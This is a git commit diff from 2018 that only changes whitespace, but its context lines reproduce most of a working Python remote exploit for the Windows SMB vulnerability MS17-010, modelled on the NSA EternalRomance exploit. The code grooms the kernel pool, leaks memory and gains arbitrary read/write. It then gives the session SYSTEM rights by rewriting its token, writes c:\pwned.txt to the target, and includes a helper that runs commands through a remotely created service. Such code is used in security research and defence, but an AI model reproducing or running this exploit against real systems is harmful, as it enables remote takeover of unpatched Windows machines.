restore line starts

This commit is contained in:
zerosum0x0
2018-01-29 18:38:22 -07:00
parent 03e0fcc87b
commit 434b7a3eb3

View File

@@ -87,7 +87,7 @@ struct SrvSecContext {
} }
SrvImpersonateSecurityContext() is used in Windows Vista and later before doing any operation as logged on user. SrvImpersonateSecurityContext() is used in Windows Vista and later before doing any operation as logged on user.
It called PsImperonateClient() if SrvSecContext.UsePsImpersonateClient is true. It called PsImperonateClient() if SrvSecContext.UsePsImpersonateClient is true.
From https://msdn.microsoft.com/en-us/library/windows/hardware/ff551907(v=vs.85).aspx, if Token is NULL, From https://msdn.microsoft.com/en-us/library/windows/hardware/ff551907(v=vs.85).aspx, if Token is NULL,
PsImperonateClient() ends the impersonation. Even there is no impersonation, the PsImperonateClient() returns PsImperonateClient() ends the impersonation. Even there is no impersonation, the PsImperonateClient() returns
STATUS_SUCCESS when Token is NULL. STATUS_SUCCESS when Token is NULL.
@@ -287,7 +287,7 @@ def wait_for_request_processed(conn):
def find_named_pipe(conn): def find_named_pipe(conn):
pipes = [ 'browser', 'spoolss', 'netlogon', 'lsarpc', 'samr' ] pipes = [ 'browser', 'spoolss', 'netlogon', 'lsarpc', 'samr' ]
tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$') tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
found_pipe = None found_pipe = None
for pipe in pipes: for pipe in pipes:
@@ -297,7 +297,7 @@ def find_named_pipe(conn):
found_pipe = pipe found_pipe = pipe
except smb.SessionError as e: except smb.SessionError as e:
pass pass
conn.disconnect_tree(tid) conn.disconnect_tree(tid)
return found_pipe return found_pipe
@@ -308,7 +308,7 @@ def reset_extra_mid(conn):
global extra_last_mid, special_mid global extra_last_mid, special_mid
special_mid = (conn.next_mid() & 0xff00) - 0x100 special_mid = (conn.next_mid() & 0xff00) - 0x100
extra_last_mid = special_mid extra_last_mid = special_mid
def next_extra_mid(): def next_extra_mid():
global extra_last_mid global extra_last_mid
extra_last_mid += 1 extra_last_mid += 1
@@ -324,7 +324,7 @@ def leak_frag_size(conn, tid, fid):
# this method can be used on Windows Vista/2008 and later # this method can be used on Windows Vista/2008 and later
# leak "Frag" pool size and determine target architecture # leak "Frag" pool size and determine target architecture
info = {} info = {}
# A "Frag" pool is placed after the large pool allocation if last page has some free space left. # A "Frag" pool is placed after the large pool allocation if last page has some free space left.
# A "Frag" pool size (on 64-bit) is 0x10 or 0x20 depended on Windows version. # A "Frag" pool size (on 64-bit) is 0x10 or 0x20 depended on Windows version.
# To make exploit more generic, exploit does info leak to find a "Frag" pool size. # To make exploit more generic, exploit does info leak to find a "Frag" pool size.
@@ -332,7 +332,7 @@ def leak_frag_size(conn, tid, fid):
mid = conn.next_mid() mid = conn.next_mid()
req1 = conn.create_nt_trans_packet(5, param=pack('<HH', fid, 0), mid=mid, data='A'*0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0-TRANS_NAME_LEN) req1 = conn.create_nt_trans_packet(5, param=pack('<HH', fid, 0), mid=mid, data='A'*0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0-TRANS_NAME_LEN)
req2 = conn.create_nt_trans_secondary_packet(mid, data='B'*276) # leak more 276 bytes req2 = conn.create_nt_trans_secondary_packet(mid, data='B'*276) # leak more 276 bytes
conn.send_raw(req1[:-8]) conn.send_raw(req1[:-8])
conn.send_raw(req1[-8:]+req2) conn.send_raw(req1[-8:]+req2)
leakData = conn.recv_transaction_data(mid, 0x10d0+276) leakData = conn.recv_transaction_data(mid, 0x10d0+276)
@@ -349,7 +349,7 @@ def leak_frag_size(conn, tid, fid):
else: else:
print('Not found Frag pool tag in leak data') print('Not found Frag pool tag in leak data')
sys.exit() sys.exit()
print('Got frag size: 0x{:x}'.format(info['FRAG_POOL_SIZE'])) print('Got frag size: 0x{:x}'.format(info['FRAG_POOL_SIZE']))
return info return info
@@ -364,7 +364,7 @@ def read_data(conn, info, read_addr, read_size):
new_data += pack('<III', read_size, read_size, read_size) # DataCount, TotalDataCount, MaxDataCount new_data += pack('<III', read_size, read_size, read_size) # DataCount, TotalDataCount, MaxDataCount
new_data += pack('<HH', 0, 5) # Category, Function (NT_RENAME) new_data += pack('<HH', 0, 5) # Category, Function (NT_RENAME)
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=new_data, dataDisplacement=info['TRANS_OUTPARAM_OFFSET']) conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=new_data, dataDisplacement=info['TRANS_OUTPARAM_OFFSET'])
# create one more transaction before leaking data # create one more transaction before leaking data
# - next transaction can be used for arbitrary read/write after the current trans2 is done # - next transaction can be used for arbitrary read/write after the current trans2 is done
# - next transaction address is from TransactionListEntry.Flink value # - next transaction address is from TransactionListEntry.Flink value
@@ -373,10 +373,10 @@ def read_data(conn, info, read_addr, read_size):
# finish the trans2 to leak # finish the trans2 to leak
conn.send_nt_trans_secondary(mid=info['trans2_mid']) conn.send_nt_trans_secondary(mid=info['trans2_mid'])
read_data = conn.recv_transaction_data(info['trans2_mid'], 8+read_size) read_data = conn.recv_transaction_data(info['trans2_mid'], 8+read_size)
# set new trans2 address # set new trans2 address
info['trans2_addr'] = unpack_from('<'+fmt, read_data)[0] - info['TRANS_FLINK_OFFSET'] info['trans2_addr'] = unpack_from('<'+fmt, read_data)[0] - info['TRANS_FLINK_OFFSET']
# set trans1.InData to &trans2 # set trans1.InData to &trans2
conn.send_nt_trans_secondary(mid=info['trans1_mid'], param=pack('<'+fmt, info['trans2_addr']), paramDisplacement=info['TRANS_INDATA_OFFSET']) conn.send_nt_trans_secondary(mid=info['trans1_mid'], param=pack('<'+fmt, info['trans2_addr']), paramDisplacement=info['TRANS_INDATA_OFFSET'])
wait_for_request_processed(conn) wait_for_request_processed(conn)
@@ -384,14 +384,14 @@ def read_data(conn, info, read_addr, read_size):
# modify trans2 mid # modify trans2 mid
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET']) conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET'])
wait_for_request_processed(conn) wait_for_request_processed(conn)
return read_data[8:] # no need to return parameter return read_data[8:] # no need to return parameter
def write_data(conn, info, write_addr, write_data): def write_data(conn, info, write_addr, write_data):
# trans2.InData # trans2.InData
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<'+info['PTR_FMT'], write_addr), dataDisplacement=info['TRANS_INDATA_OFFSET']) conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<'+info['PTR_FMT'], write_addr), dataDisplacement=info['TRANS_INDATA_OFFSET'])
wait_for_request_processed(conn) wait_for_request_processed(conn)
# write data # write data
conn.send_nt_trans_secondary(mid=info['trans2_mid'], data=write_data) conn.send_nt_trans_secondary(mid=info['trans2_mid'], data=write_data)
wait_for_request_processed(conn) wait_for_request_processed(conn)
@@ -417,7 +417,7 @@ def align_transaction_and_leak(conn, tid, fid, info, numFill=4):
conn.send_raw(req1[:-8]) conn.send_raw(req1[:-8])
conn.send_raw(req1[-8:]+req2+req3+''.join(reqs)) conn.send_raw(req1[-8:]+req2+req3+''.join(reqs))
# expected transactions alignment ("Frag" pool is not shown) # expected transactions alignment ("Frag" pool is not shown)
# #
# | 5 * PAGE_SIZE | PAGE_SIZE | 5 * PAGE_SIZE | PAGE_SIZE | # | 5 * PAGE_SIZE | PAGE_SIZE | 5 * PAGE_SIZE | PAGE_SIZE |
@@ -438,7 +438,7 @@ def align_transaction_and_leak(conn, tid, fid, info, numFill=4):
if leakData[info['FRAG_TAG_OFFSET']:info['FRAG_TAG_OFFSET']+4] != 'Frag': if leakData[info['FRAG_TAG_OFFSET']:info['FRAG_TAG_OFFSET']+4] != 'Frag':
print('Not found Frag pool tag in leak data') print('Not found Frag pool tag in leak data')
return None return None
# ================================ # ================================
# verify leak data # verify leak data
# ================================ # ================================
@@ -480,16 +480,16 @@ def align_transaction_and_leak(conn, tid, fid, info, numFill=4):
def exploit_matched_pairs(conn, pipe_name, info): def exploit_matched_pairs(conn, pipe_name, info):
# for Windows 7/2008 R2 and later # for Windows 7/2008 R2 and later
tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$') tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
conn.set_default_tid(tid) conn.set_default_tid(tid)
# fid for first open is always 0x4000. We can open named pipe multiple times to get other fids. # fid for first open is always 0x4000. We can open named pipe multiple times to get other fids.
fid = conn.nt_create_andx(tid, pipe_name) fid = conn.nt_create_andx(tid, pipe_name)
info.update(leak_frag_size(conn, tid, fid)) info.update(leak_frag_size(conn, tid, fid))
# add os and arch specific exploit info # add os and arch specific exploit info
info.update(OS_ARCH_INFO[info['os']][info['arch']]) info.update(OS_ARCH_INFO[info['os']][info['arch']])
# groom: srv buffer header # groom: srv buffer header
info['GROOM_POOL_SIZE'] = calc_alloc_size(GROOM_TRANS_SIZE + info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'], info['POOL_ALIGN']) info['GROOM_POOL_SIZE'] = calc_alloc_size(GROOM_TRANS_SIZE + info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'], info['POOL_ALIGN'])
print('GROOM_POOL_SIZE: 0x{:x}'.format(info['GROOM_POOL_SIZE'])) print('GROOM_POOL_SIZE: 0x{:x}'.format(info['GROOM_POOL_SIZE']))
@@ -502,7 +502,7 @@ def exploit_matched_pairs(conn, pipe_name, info):
print('BRIDE_TRANS_SIZE: 0x{:x}'.format(info['BRIDE_TRANS_SIZE'])) print('BRIDE_TRANS_SIZE: 0x{:x}'.format(info['BRIDE_TRANS_SIZE']))
# bride paramters and data is alignment by 4 because it is TRANS # bride paramters and data is alignment by 4 because it is TRANS
info['BRIDE_DATA_SIZE'] = info['BRIDE_TRANS_SIZE'] - TRANS_NAME_LEN - info['TRANS_SIZE'] info['BRIDE_DATA_SIZE'] = info['BRIDE_TRANS_SIZE'] - TRANS_NAME_LEN - info['TRANS_SIZE']
# ================================ # ================================
# try align pagedpool and leak info until satisfy # try align pagedpool and leak info until satisfy
# ================================ # ================================
@@ -516,14 +516,14 @@ def exploit_matched_pairs(conn, pipe_name, info):
print('leak failed... try again') print('leak failed... try again')
conn.close(tid, fid) conn.close(tid, fid)
conn.disconnect_tree(tid) conn.disconnect_tree(tid)
tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$') tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
conn.set_default_tid(tid) conn.set_default_tid(tid)
fid = conn.nt_create_andx(tid, pipe_name) fid = conn.nt_create_andx(tid, pipe_name)
if leakInfo is None: if leakInfo is None:
return False return False
info['fid'] = fid info['fid'] = fid
info.update(leakInfo) info.update(leakInfo)
@@ -555,7 +555,7 @@ def exploit_matched_pairs(conn, pipe_name, info):
# NSA exploit set refCnt on leaked transaction to very large number for reading data repeatly # NSA exploit set refCnt on leaked transaction to very large number for reading data repeatly
# but this method make the transation never get freed # but this method make the transation never get freed
# I will avoid memory leak # I will avoid memory leak
# ================================ # ================================
# modify trans1 struct to be used for arbitrary read/write # modify trans1 struct to be used for arbitrary read/write
# ================================ # ================================
@@ -578,7 +578,7 @@ def exploit_matched_pairs(conn, pipe_name, info):
def exploit_fish_barrel(conn, pipe_name, info): def exploit_fish_barrel(conn, pipe_name, info):
# for Windows Vista/2008 and earlier # for Windows Vista/2008 and earlier
tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$') tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
conn.set_default_tid(tid) conn.set_default_tid(tid)
# fid for first open is always 0x4000. We can open named pipe multiple times to get other fids. # fid for first open is always 0x4000. We can open named pipe multiple times to get other fids.
@@ -588,7 +588,7 @@ def exploit_fish_barrel(conn, pipe_name, info):
if info['os'] == 'WIN7' and 'arch' not in info: if info['os'] == 'WIN7' and 'arch' not in info:
# leak_frag_size() can be used against Windows Vista/2008 to determine target architecture # leak_frag_size() can be used against Windows Vista/2008 to determine target architecture
info.update(leak_frag_size(conn, tid, fid)) info.update(leak_frag_size(conn, tid, fid))
if 'arch' in info: if 'arch' in info:
# add os and arch specific exploit info # add os and arch specific exploit info
info.update(OS_ARCH_INFO[info['os']][info['arch']]) info.update(OS_ARCH_INFO[info['os']][info['arch']])
@@ -598,7 +598,7 @@ def exploit_fish_barrel(conn, pipe_name, info):
# this case is only for Windows 2003 # this case is only for Windows 2003
# try offset of 64 bit then 32 bit because no target architecture # try offset of 64 bit then 32 bit because no target architecture
attempt_list = [ OS_ARCH_INFO[info['os']]['x64'], OS_ARCH_INFO[info['os']]['x86'] ] attempt_list = [ OS_ARCH_INFO[info['os']]['x64'], OS_ARCH_INFO[info['os']]['x86'] ]
# ================================ # ================================
# groom packets # groom packets
# ================================ # ================================
@@ -608,8 +608,8 @@ def exploit_fish_barrel(conn, pipe_name, info):
trans_param = pack('<HH', info['fid'], 0) trans_param = pack('<HH', info['fid'], 0)
for i in range(12): for i in range(12):
mid = info['fid'] if i == 8 else next_extra_mid() mid = info['fid'] if i == 8 else next_extra_mid()
conn.send_trans('', mid=mid, param=trans_param, totalParameterCount=0x100-TRANS_NAME_LEN, totalDataCount=0xec0, maxParameterCount=0x40, maxDataCount=0) conn.send_trans('', mid=mid, param=trans_param, totalParameterCount=0x100-TRANS_NAME_LEN, totalDataCount=0xec0, maxParameterCount=0x40, maxDataCount=0)
# expected transactions alignment # expected transactions alignment
# #
# +-----------+-----------+-----...-----+-----------+-----------+-----------+-----------+-----------+ # +-----------+-----------+-----...-----+-----------+-----------+-----------+-----------+-----------+
@@ -622,7 +622,7 @@ def exploit_fish_barrel(conn, pipe_name, info):
# ================================ # ================================
shift_indata_byte = 0x200 shift_indata_byte = 0x200
conn.do_write_andx_raw_pipe(info['fid'], 'A'*shift_indata_byte) conn.do_write_andx_raw_pipe(info['fid'], 'A'*shift_indata_byte)
# ================================ # ================================
# Dangerous operation: attempt to control one transaction # Dangerous operation: attempt to control one transaction
# ================================ # ================================
@@ -650,7 +650,7 @@ def exploit_fish_barrel(conn, pipe_name, info):
break break
if recvPkt.getNTStatus() != 0: if recvPkt.getNTStatus() != 0:
print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus())) print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus()))
if not success: if not success:
print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus())) print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus()))
print('!!! Write to wrong place !!!') print('!!! Write to wrong place !!!')
@@ -661,8 +661,8 @@ def exploit_fish_barrel(conn, pipe_name, info):
# NSA eternalromance modify transaction RefCount to keep controlled and reuse transaction after leaking info. # NSA eternalromance modify transaction RefCount to keep controlled and reuse transaction after leaking info.
# This is easy to to but the modified transaction will never be freed. The next exploit attempt might be harder # This is easy to to but the modified transaction will never be freed. The next exploit attempt might be harder
# because of this unfreed memory chunk. I will avoid it. # because of this unfreed memory chunk. I will avoid it.
# From a picture above, now we can only control trans2 by trans1 data. Also we know only offset of these two # From a picture above, now we can only control trans2 by trans1 data. Also we know only offset of these two
# transactions (do not know the address). # transactions (do not know the address).
# After reading memory by modifying and completing trans2, trans2 cannot be used anymore. # After reading memory by modifying and completing trans2, trans2 cannot be used anymore.
# To be able to use trans1 after trans2 is gone, we need to modify trans1 to be able to modify itself. # To be able to use trans1 after trans2 is gone, we need to modify trans1 to be able to modify itself.
@@ -671,14 +671,14 @@ def exploit_fish_barrel(conn, pipe_name, info):
# On 64 bit target, modifying paramter count is not enough because address size is 64 bit. Because our transactions # On 64 bit target, modifying paramter count is not enough because address size is 64 bit. Because our transactions
# are allocated with RtlAllocateHeap(), the HIDWORD of InParameter is always 0. To be able to write backward with offset only, # are allocated with RtlAllocateHeap(), the HIDWORD of InParameter is always 0. To be able to write backward with offset only,
# we also modify HIDWORD of InParameter to 0xffffffff. # we also modify HIDWORD of InParameter to 0xffffffff.
print('modify parameter count to 0xffffffff to be able to write backward') print('modify parameter count to 0xffffffff to be able to write backward')
conn.send_trans_secondary(mid=info['fid'], data='\xff'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_TOTALPARAMCNT_OFFSET']) conn.send_trans_secondary(mid=info['fid'], data='\xff'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_TOTALPARAMCNT_OFFSET'])
# on 64 bit, modify InParameter last 4 bytes to \xff\xff\xff\xff too # on 64 bit, modify InParameter last 4 bytes to \xff\xff\xff\xff too
if info['arch'] == 'x64': if info['arch'] == 'x64':
conn.send_trans_secondary(mid=info['fid'], data='\xff'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4) conn.send_trans_secondary(mid=info['fid'], data='\xff'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
wait_for_request_processed(conn) wait_for_request_processed(conn)
TRANS_CHUNK_SIZE = HEAP_HDR_SIZE + info['TRANS_SIZE'] + 0x1000 + HEAP_CHUNK_PAD_SIZE TRANS_CHUNK_SIZE = HEAP_HDR_SIZE + info['TRANS_SIZE'] + 0x1000 + HEAP_CHUNK_PAD_SIZE
PREV_TRANS_DISPLACEMENT = TRANS_CHUNK_SIZE + info['TRANS_SIZE'] + TRANS_NAME_LEN PREV_TRANS_DISPLACEMENT = TRANS_CHUNK_SIZE + info['TRANS_SIZE'] + TRANS_NAME_LEN
PREV_TRANS_OFFSET = 0x100000000 - PREV_TRANS_DISPLACEMENT PREV_TRANS_OFFSET = 0x100000000 - PREV_TRANS_DISPLACEMENT
@@ -718,18 +718,18 @@ def exploit_fish_barrel(conn, pipe_name, info):
_, connection_addr, session_addr, treeconnect_addr, flink_value = unpack_from('<'+fmt*5, leakTrans, 8) _, connection_addr, session_addr, treeconnect_addr, flink_value = unpack_from('<'+fmt*5, leakTrans, 8)
inparam_value, outparam_value, indata_value = unpack_from('<'+fmt*3, leakTrans, info['TRANS_INPARAM_OFFSET']) inparam_value, outparam_value, indata_value = unpack_from('<'+fmt*3, leakTrans, info['TRANS_INPARAM_OFFSET'])
trans2_mid = unpack_from('<H', leakTrans, info['TRANS_MID_OFFSET'])[0] trans2_mid = unpack_from('<H', leakTrans, info['TRANS_MID_OFFSET'])[0]
print('CONNECTION: 0x{:x}'.format(connection_addr)) print('CONNECTION: 0x{:x}'.format(connection_addr))
print('SESSION: 0x{:x}'.format(session_addr)) print('SESSION: 0x{:x}'.format(session_addr))
print('FLINK: 0x{:x}'.format(flink_value)) print('FLINK: 0x{:x}'.format(flink_value))
print('InData: 0x{:x}'.format(indata_value)) print('InData: 0x{:x}'.format(indata_value))
print('MID: 0x{:x}'.format(trans2_mid)) print('MID: 0x{:x}'.format(trans2_mid))
trans2_addr = inparam_value - info['TRANS_SIZE'] - TRANS_NAME_LEN trans2_addr = inparam_value - info['TRANS_SIZE'] - TRANS_NAME_LEN
trans1_addr = trans2_addr - TRANS_CHUNK_SIZE * 2 trans1_addr = trans2_addr - TRANS_CHUNK_SIZE * 2
print('TRANS1: 0x{:x}'.format(trans1_addr)) print('TRANS1: 0x{:x}'.format(trans1_addr))
print('TRANS2: 0x{:x}'.format(trans2_addr)) print('TRANS2: 0x{:x}'.format(trans2_addr))
# ================================ # ================================
# modify trans struct to be used for arbitrary read/write # modify trans struct to be used for arbitrary read/write
# ================================ # ================================
@@ -741,12 +741,12 @@ def exploit_fish_barrel(conn, pipe_name, info):
TRANS_OFFSET = 0x100000000 - (info['TRANS_SIZE'] + TRANS_NAME_LEN) TRANS_OFFSET = 0x100000000 - (info['TRANS_SIZE'] + TRANS_NAME_LEN)
conn.send_nt_trans_secondary(mid=info['fid'], param=pack('<'+fmt*3, trans1_addr, trans1_addr+0x200, trans2_addr), paramDisplacement=TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']) conn.send_nt_trans_secondary(mid=info['fid'], param=pack('<'+fmt*3, trans1_addr, trans1_addr+0x200, trans2_addr), paramDisplacement=TRANS_OFFSET+info['TRANS_INPARAM_OFFSET'])
wait_for_request_processed(conn) wait_for_request_processed(conn)
# modify trans1.mid # modify trans1.mid
trans1_mid = conn.next_mid() trans1_mid = conn.next_mid()
conn.send_trans_secondary(mid=info['fid'], param=pack('<H', trans1_mid), paramDisplacement=info['TRANS_MID_OFFSET']) conn.send_trans_secondary(mid=info['fid'], param=pack('<H', trans1_mid), paramDisplacement=info['TRANS_MID_OFFSET'])
wait_for_request_processed(conn) wait_for_request_processed(conn)
info.update({ info.update({
'connection': connection_addr, 'connection': connection_addr,
'session': session_addr, 'session': session_addr,
@@ -768,26 +768,26 @@ def create_fake_SYSTEM_UserAndGroups(conn, info, userAndGroupCount, userAndGroup
# - 0xe: SE_GROUP_OWNER | SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT # - 0xe: SE_GROUP_OWNER | SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT
# - 0x7: SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_MANDATORY # - 0x7: SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_MANDATORY
attrs = [ 0, 0xe, 7, 7 ] attrs = [ 0, 0xe, 7, 7 ]
# assume its space is enough for SID_SYSTEM and SID_ADMINISTRATORS (no check) # assume its space is enough for SID_SYSTEM and SID_ADMINISTRATORS (no check)
# fake user and groups will be in same buffer of original one # fake user and groups will be in same buffer of original one
# so fake sids size must NOT be bigger than the original sids # so fake sids size must NOT be bigger than the original sids
fakeUserAndGroupCount = min(userAndGroupCount, 4) fakeUserAndGroupCount = min(userAndGroupCount, 4)
fakeUserAndGroupsAddr = userAndGroupsAddr fakeUserAndGroupsAddr = userAndGroupsAddr
addr = fakeUserAndGroupsAddr + (fakeUserAndGroupCount * info['PTR_SIZE'] * 2) addr = fakeUserAndGroupsAddr + (fakeUserAndGroupCount * info['PTR_SIZE'] * 2)
fakeUserAndGroups = '' fakeUserAndGroups = ''
for sid, attr in zip(sids[:fakeUserAndGroupCount], attrs[:fakeUserAndGroupCount]): for sid, attr in zip(sids[:fakeUserAndGroupCount], attrs[:fakeUserAndGroupCount]):
fakeUserAndGroups += pack('<'+info['PTR_FMT']*2, addr, attr) fakeUserAndGroups += pack('<'+info['PTR_FMT']*2, addr, attr)
addr += len(sid) addr += len(sid)
fakeUserAndGroups += ''.join(sids[:fakeUserAndGroupCount]) fakeUserAndGroups += ''.join(sids[:fakeUserAndGroupCount])
return fakeUserAndGroupCount, fakeUserAndGroups return fakeUserAndGroupCount, fakeUserAndGroups
def exploit(target, pipe_name): def exploit(target, pipe_name):
conn = MYSMB(target) conn = MYSMB(target)
# set NODELAY to make exploit much faster # set NODELAY to make exploit much faster
conn.get_socket().setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) conn.get_socket().setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
@@ -823,7 +823,7 @@ def exploit(target, pipe_name):
else: else:
print('This exploit does not support this target') print('This exploit does not support this target')
sys.exit() sys.exit()
if pipe_name is None: if pipe_name is None:
pipe_name = find_named_pipe(conn) pipe_name = find_named_pipe(conn)
if pipe_name is None: if pipe_name is None:
@@ -837,9 +837,9 @@ def exploit(target, pipe_name):
# Now, read_data() and write_data() can be used for arbitrary read and write. # Now, read_data() and write_data() can be used for arbitrary read and write.
# ================================ # ================================
# Modify this SMB session to be SYSTEM # Modify this SMB session to be SYSTEM
# ================================ # ================================
fmt = info['PTR_FMT'] fmt = info['PTR_FMT']
print('make this SMB session to be SYSTEM') print('make this SMB session to be SYSTEM')
# IsNullSession = 0, IsAdmin = 1 # IsNullSession = 0, IsAdmin = 1
write_data(conn, info, info['session']+info['SESSION_ISNULL_OFFSET'], '\x00\x01') write_data(conn, info, info['session']+info['SESSION_ISNULL_OFFSET'], '\x00\x01')
@@ -852,7 +852,7 @@ def exploit(target, pipe_name):
# Windows 2003 and earlier uses only ImpersonateSecurityContext() (with PCtxtHandle struct) for impersonation # Windows 2003 and earlier uses only ImpersonateSecurityContext() (with PCtxtHandle struct) for impersonation
# Modifying token seems to be difficult. But writing kernel shellcode for all old Windows versions is # Modifying token seems to be difficult. But writing kernel shellcode for all old Windows versions is
# much more difficult because data offset in ETHREAD/EPROCESS is different between service pack. # much more difficult because data offset in ETHREAD/EPROCESS is different between service pack.
# find the token and modify it # find the token and modify it
if 'SECCTX_PCTXTHANDLE_OFFSET' in info: if 'SECCTX_PCTXTHANDLE_OFFSET' in info:
pctxtDataInfo = read_data(conn, info, secCtxAddr+info['SECCTX_PCTXTHANDLE_OFFSET'], 8) pctxtDataInfo = read_data(conn, info, secCtxAddr+info['SECCTX_PCTXTHANDLE_OFFSET'], 8)
@@ -863,13 +863,12 @@ def exploit(target, pipe_name):
tokenAddrInfo = read_data(conn, info, pctxtDataAddr+info['PCTXTHANDLE_TOKEN_OFFSET'], 8) tokenAddrInfo = read_data(conn, info, pctxtDataAddr+info['PCTXTHANDLE_TOKEN_OFFSET'], 8)
tokenAddr = unpack_from('<'+fmt, tokenAddrInfo)[0] tokenAddr = unpack_from('<'+fmt, tokenAddrInfo)[0]
print('current TOKEN addr: 0x{:x}'.format(tokenAddr)) print('current TOKEN addr: 0x{:x}'.format(tokenAddr))
# copy Token data for restoration # copy Token data for restoration
tokenData = read_data(conn, info, tokenAddr, 0x40*info['PTR_SIZE']) tokenData = read_data(conn, info, tokenAddr, 0x40*info['PTR_SIZE'])
userAndGroupCount = unpack_from('<I', tokenData, info['TOKEN_USER_GROUP_CNT_OFFSET'])[0] userAndGroupCount = unpack_from('<I', tokenData, info['TOKEN_USER_GROUP_CNT_OFFSET'])[0]
userAndGroupsAddr = unpack_from('<'+fmt, tokenData, info['TOKEN_USER_GROUP_ADDR_OFFSET'])[0] userAndGroupsAddr = unpack_from('<'+fmt, tokenData, info['TOKEN_USER_GROUP_ADDR_OFFSET'])[0]
# hack to fix XP SP0 and SP1 # hack to fix XP SP0 and SP1
if info['os'] == 'WINXP' and info['arch'] == 'x86': if info['os'] == 'WINXP' and info['arch'] == 'x86':
if userAndGroupCount > 4: if userAndGroupCount > 4:
@@ -897,7 +896,7 @@ def exploit(target, pipe_name):
# ================================ # ================================
# do whatever we want as SYSTEM over this SMB connection # do whatever we want as SYSTEM over this SMB connection
# ================================ # ================================
try: try:
smb_pwn(conn, info['arch']) smb_pwn(conn, info['arch'])
except: except:
@@ -920,13 +919,13 @@ def exploit(target, pipe_name):
def smb_pwn(conn, arch): def smb_pwn(conn, arch):
smbConn = conn.get_smbconnection() smbConn = conn.get_smbconnection()
print('creating file c:\\pwned.txt on the target') print('creating file c:\\pwned.txt on the target')
tid2 = smbConn.connectTree('C$') tid2 = smbConn.connectTree('C$')
fid2 = smbConn.createFile(tid2, '/pwned.txt') fid2 = smbConn.createFile(tid2, '/pwned.txt')
smbConn.closeFile(tid2, fid2) smbConn.closeFile(tid2, fid2)
smbConn.disconnectTree(tid2) smbConn.disconnectTree(tid2)
#smb_send_file(smbConn, sys.argv[0], 'C', '/exploit.py') #smb_send_file(smbConn, sys.argv[0], 'C', '/exploit.py')
#service_exec(conn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt') #service_exec(conn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt')
# Note: there are many methods to get shell over SMB admin session # Note: there are many methods to get shell over SMB admin session
@@ -943,7 +942,7 @@ def service_exec(conn, cmd):
import random import random
import string import string
from impacket.dcerpc.v5 import transport, srvs, scmr from impacket.dcerpc.v5 import transport, srvs, scmr
service_name = ''.join([random.choice(string.letters) for i in range(4)]) service_name = ''.join([random.choice(string.letters) for i in range(4)])
# Setup up a DCE SMBTransport with the connection already in place # Setup up a DCE SMBTransport with the connection already in place
@@ -955,7 +954,7 @@ def service_exec(conn, cmd):
print("Opening SVCManager on %s....." % conn.get_remote_host()) print("Opening SVCManager on %s....." % conn.get_remote_host())
resp = scmr.hROpenSCManagerW(rpcsvc) resp = scmr.hROpenSCManagerW(rpcsvc)
svcHandle = resp['lpScHandle'] svcHandle = resp['lpScHandle']
# First we try to open the service in case it exists. If it does, we remove it. # First we try to open the service in case it exists. If it does, we remove it.
try: try:
resp = scmr.hROpenServiceW(rpcsvc, svcHandle, service_name+'\x00') resp = scmr.hROpenServiceW(rpcsvc, svcHandle, service_name+'\x00')
@@ -966,11 +965,11 @@ def service_exec(conn, cmd):
# It exists, remove it # It exists, remove it
scmr.hRDeleteService(rpcsvc, resp['lpServiceHandle']) scmr.hRDeleteService(rpcsvc, resp['lpServiceHandle'])
scmr.hRCloseServiceHandle(rpcsvc, resp['lpServiceHandle']) scmr.hRCloseServiceHandle(rpcsvc, resp['lpServiceHandle'])
print('Creating service %s.....' % service_name) print('Creating service %s.....' % service_name)
resp = scmr.hRCreateServiceW(rpcsvc, svcHandle, service_name + '\x00', service_name + '\x00', lpBinaryPathName=cmd + '\x00') resp = scmr.hRCreateServiceW(rpcsvc, svcHandle, service_name + '\x00', service_name + '\x00', lpBinaryPathName=cmd + '\x00')
serviceHandle = resp['lpServiceHandle'] serviceHandle = resp['lpServiceHandle']
if serviceHandle: if serviceHandle:
# Start service # Start service
try: try:
@@ -982,7 +981,7 @@ def service_exec(conn, cmd):
#scmr.hRControlService(rpcsvc, serviceHandle, scmr.SERVICE_CONTROL_STOP) #scmr.hRControlService(rpcsvc, serviceHandle, scmr.SERVICE_CONTROL_STOP)
except Exception as e: except Exception as e:
